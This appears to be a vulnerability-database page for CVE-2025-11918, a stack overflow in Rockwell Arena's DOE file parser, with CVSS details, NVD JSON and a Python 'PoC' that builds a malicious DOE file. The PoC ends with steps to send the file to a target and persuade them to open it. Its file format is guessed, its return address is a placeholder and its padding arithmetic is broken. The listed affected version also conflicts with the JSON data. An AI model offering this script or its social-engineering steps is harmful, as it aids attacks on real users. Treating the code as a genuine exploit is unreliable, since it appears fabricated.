Security Vulnerability Report
中文
CVE-2025-11918 CVSS 7.3 HIGH

CVE-2025-11918

Published: 2025-11-14 14:15:46
Last Modified: 2025-11-17 17:48:51

Description

Rockwell Automation Arena® suffers from a stack-based buffer overflow vulnerability. The specific flaw exists within the parsing of DOE files. Local attackers are able to exploit this issue to potentially execute arbitrary code on affected installations of Arena®. Exploiting the vulnerability requires opening a malicious DOE file.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rockwellautomation:arena:*:*:*:*:*:*:*:* - VULNERABLE
Rockwell Arena® < 16.00.00
Rockwell Arena® Professional Edition (所有版本)
Rockwell Arena® Academic Edition (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11918 PoC - Malicious DOE File Generator # Target: Rockwell Automation Arena® DOE File Parser Stack Overflow # Author: Security Research import struct import sys def create_malicious_doe_file(filename, overflow_length=2048): """ Generate a malicious DOE file to trigger stack buffer overflow Parameters: filename: Output DOE file path overflow_length: Length of overflow payload (default: 2048 bytes) """ # DOE file magic header (identify file format) header = b'DOE\x00\x01\x00' # DOE format version version = struct.pack('<H', 0x0100) # Number of variables in experiment num_vars = struct.pack('<I', 10) # Craft overflow payload # Fill buffer with 'A' characters to overflow overflow_payload = b'A' * overflow_length # Overwrite return address with address of our shellcode # In real exploitation, this would be determined via debugging return_address = struct.pack('<Q', 0x4141414141414141) # Placeholder address # Additional padding to reach expected file structure padding = b'\x00' * (overflow_length - len(overflow_payload) - len(return_address)) # Craft variable definitions (normal DOE content) var_section = b'' for i in range(10): var_name = f'VAR_{i}'.encode('ascii').ljust(32, b'\x00') var_type = struct.pack('<I', 1) # Type 1 = numeric var_value = struct.pack('<d', float(i)) var_section += var_name + var_type + var_value # Experiment parameters exp_params = b'REPLICATIONS=100\n' exp_params += b'MAX_RUNS=1000\n' # Combine all sections doe_content = header + version + num_vars + overflow_payload + return_address + padding + var_section + exp_params # Write to file with open(filename, 'wb') as f: f.write(doe_content) print(f'[+] Malicious DOE file created: {filename}') print(f'[+] Overflow payload length: {overflow_length} bytes') print(f'[+] File size: {len(doe_content)} bytes') return doe_content def analyze_overflow_point(payload_length): """ Calculate overflow point based on typical buffer sizes """ typical_stack_buffer = 1024 offset_to_retaddr = 8 overflow_start = typical_stack_buffer - offset_to_retaddr print(f'[*] Analysis:') print(f' - Estimated buffer size: {typical_stack_buffer} bytes') print(f' - Offset to return address: {offset_to_retaddr} bytes') print(f' - Overflow starts at: {overflow_start} bytes') print(f' - Total payload needed: {overflow_start + offset_to_retaddr} bytes') if __name__ == '__main__': print('=' * 60) print('CVE-2025-11918 PoC - Rockwell Arena DOE Stack Overflow') print('=' * 60) # Default overflow length overflow_len = 2048 if len(sys.argv) > 1: overflow_len = int(sys.argv[1]) output_file = 'malicious.doe' analyze_overflow_point(overflow_len) print() create_malicious_doe_file(output_file, overflow_len) print() print('[+] To exploit:') print(f' 1. Send "{output_file}" to target user') print(' 2. Convince user to open file in Arena®') print(' 3. Malicious code will execute with user privileges')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11918", "sourceIdentifier": "[email protected]", "published": "2025-11-14T14:15:45.993", "lastModified": "2025-11-17T17:48:50.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rockwell Automation Arena® suffers from a\nstack-based buffer overflow vulnerability. The specific flaw exists within the\nparsing of DOE files. Local attackers are able to exploit this issue to\npotentially execute arbitrary code on affected installations of Arena®. Exploiting\nthe vulnerability requires opening a malicious DOE file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rockwellautomation:arena:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.20.11", "matchCriteriaId": "F327DD19-3DD7-4E90-8BD2-294B846987DB"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1763.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}